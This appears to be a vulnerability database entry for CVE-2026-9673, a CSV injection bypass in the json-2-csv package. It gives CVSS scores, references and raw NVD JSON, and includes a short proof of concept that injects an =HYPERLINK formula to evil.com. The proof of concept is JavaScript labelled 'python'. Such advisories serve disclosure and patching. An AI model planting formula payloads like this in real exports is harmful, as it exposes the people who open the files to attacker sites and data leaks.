CVE-2026-9673

Description

Versions of the package json-2-csv from 3.15.0 and before 5.5.11 are vulnerable to CSV Injection via the preventCsvInjection option which can be bypassed. An attacker can inject formulas into CSV files, which execute when the files are opened in spreadsheet applications.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

json-2-csv >= 3.15.0, < 5.5.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const json2csv = require('json-2-csv');

// Payload demonstrating the bypass
const maliciousData = [
    {
        id: 1,
        name: 'Product',
        details: '=HYPERLINK("http://evil.com", "Click Me")' // Malicious formula
    }
];

const options = {
    preventCsvInjection: true // This option is vulnerable to bypass
};

try {
    const csv = json2csv.json2csv(maliciousData, options);
    console.log('Generated CSV:');
    console.log(csv);
    // In vulnerable versions, the formula persists and executes in Excel.
} catch (e) {
    console.error(e);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9673
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9673
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9673/
[4] VulDB https://vuldb.com/cve/CVE-2026-9673
[5] https://gist.github.com/whoamins/299745a2d36b482b44e9613b78e40613
[6] https://github.com/mrodrig/json-2-csv/blob/main/src/json2csv.ts%23L410
[7] https://github.com/mrodrig/json-2-csv/commit/0fdd0bb6d0273178cd940afc323ccbce19688229
[8] https://security.snyk.io/vuln/SNYK-JS-JSON2CSV-14221326

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9673", "sourceIdentifier": "[email protected]", "published": "2026-05-28T06:16:29.147", "lastModified": "2026-05-28T06:16:29.147", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package json-2-csv from 3.15.0 and before 5.5.11 are vulnerable to CSV Injection via the preventCsvInjection option which can be bypassed. An attacker can inject formulas into CSV files, which execute when the files are opened in spreadsheet applications."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "references": [{"url": "https://gist.github.com/whoamins/299745a2d36b482b44e9613b78e40613", "source": "[email protected]"}, {"url": "https://github.com/mrodrig/json-2-csv/blob/main/src/json2csv.ts%23L410", "source": "[email protected]"}, {"url": "https://github.com/mrodrig/json-2-csv/commit/0fdd0bb6d0273178cd940afc323ccbce19688229", "source": "[email protected]"}, {"url": "https://security.snyk.io/vuln/SNYK-JS-JSON2CSV-14221326", "source": "[email protected]"}]}}